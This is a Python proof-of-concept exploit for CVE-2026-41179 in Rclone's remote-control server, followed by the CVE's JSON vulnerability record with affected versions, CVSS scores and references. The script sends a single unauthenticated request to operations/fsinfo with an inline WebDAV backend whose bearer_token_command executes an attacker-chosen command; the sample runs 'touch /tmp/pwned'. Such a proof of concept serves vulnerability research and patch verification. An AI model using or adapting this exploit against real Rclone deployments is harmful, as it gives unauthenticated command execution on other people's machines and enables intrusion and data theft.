CVE-2026-41179

import requests import json # Exploit for CVE-2026-41179 # Target: Rclone RC server (default port 5572) # Description: Sends a request to operations/fsinfo with a malicious WebDAV backend config # to execute a command via bearer_token_command. def exploit_rclone(target_ip, target_port=5572, command="id"): url = f"http://{target_ip}:{target_port}/operations/fsinfo" # Construct payload using inline WebDAV backend definition # The 'bearer_token_command' parameter is executed during backend init payload = { "fs": f"webdav,url=http://127.0.0.1,bearer_token_command={command}" } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request sent successfully. Check for command execution.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "192.168.1.100" cmd = "touch /tmp/pwned" exploit_rclone(target, command=cmd)

{"cve": {"id": "CVE-2026-41179", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:45.947", "lastModified": "2026-05-20T02:16:35.920", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Starting in version 1.48.0 and prior to version 1.73.5, the RC endpoint `operations/fsinfo` is exposed without `AuthRequired: true` and accepts attacker-controlled `fs` input. Because `rc.GetFs(...)` supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, `bearer_token_command` is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication. Version 1.73.5 patches the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rclone:rclone:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.48.0", "versionEndExcluding": "1.73.5", "matchCriteriaId": "AEA122B4-E0D6-48C3-AA33-72E3BAD0FF5C"}]}]}], "references": [{"url": "https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/backend/webdav/webdav.go", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/cache.go", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/rclone/rclone/commit/2a9e952b38e03a96bf40c9eb6e8e22199865ee3b", "source": "[email protected]"}, {"url": "https://github.com/rclone/rclone/releases/tag/v1.73.5", "source": "[email protected]"}, {"url": "https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://rclone.org/changelog/#v1-73-5-2026-04-19", "source": "[email protected]"}, {"url": "https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}